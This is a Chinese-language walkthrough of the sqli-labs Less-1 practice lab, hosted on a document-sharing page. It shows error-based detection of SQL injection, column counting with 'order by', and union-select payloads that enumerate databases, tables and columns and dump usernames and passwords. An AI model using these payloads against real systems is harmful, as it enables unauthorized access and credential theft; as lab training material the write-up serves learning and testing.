0% found this document useful (0 votes)
12 views6 pages

Less 1

,11

Uploaded by

rswqrd3277
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
12 views6 pages

Less 1

,11

Uploaded by

rswqrd3277
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 6

原网址:http://192.168.3.

145/sqli-labs/Less-1

以 PHP 语句为例

$query=”select * from users where id = $_get[‘id’]”;

SQL 注入条件:

①参数用户可控;②参数代入数据库查询

如果:select * from users where id = 1’ 不符合 SQL 语句规范,所以报错。

http://192.168.3.145/sqli-labs/Less-1/?id=1’

报错语句为:''1'' LIMIT 0,1'---'1'' LIMIT 0,1 是犹豫标红的’引起的,所以推断正确的 SQL

语句为:select login_name,password from tables where id=’id’ limit 0,1;

当传入的参数为 and 1=1 时,执行的 SQL 语句是:

select login_name,password from tables where id=1 and 1=1;

1=1 为真,所以显示结果与 id=1 相同;


当代入参数为 and 1=2 时,1=2 为假;所以返回结果就为假,页面与 id=1 就不同;

由此可以初步判断 ID 参数存在 SQL 注入漏洞。

接着使用 order by 句子查询该表的字段数量(也就是表格的列数);

例如:order by 1-99

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 1 --+

Order by 2 或者 3 显示结果都一样,当为 order by 4


由此可以判断,表中字段数为 3;

接下来可以通过设置 ID 参数值,让服务端返回 union select 的查询结果;例如把 ID 值设置

为-1,因为表中没有-1 的数据,所以就会显示 union select 的查询结果

从图中结果可以得到,2,3 位置可以输入 SQL 语句,也叫做回显点。

用 database()函数获取数据库库名:

Version()函数获取数据库版本号:
User()函数获取数据库用户名:

得值库名后我们可以查询表明:

Select table_name information_schema.tables where table_schema=’security’ limit 0,1

因为限制了每行只能输出一个数据,可以通过改变 limit 第一个参数的方法不断爆出数据

库名,也可以使用 group_concat()方法将数据拼接后显示在一行:

/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata


显示出了所有的数据库信息,需要获取的数据库是 security,继续获取该数据库中的表信息:

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

继续查看 users 表中的内容:

group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

可以使用如下方法获取字段信息:

password from security.users --+


此处可以使用 concat_ws('~',A,B、)方法,即显示的数据格式为:A~B,结合 group_concat()方法,

显示所有的用户名和密码:

group_concat(concat_ws('~',username,password)) from security.users --+

You might also like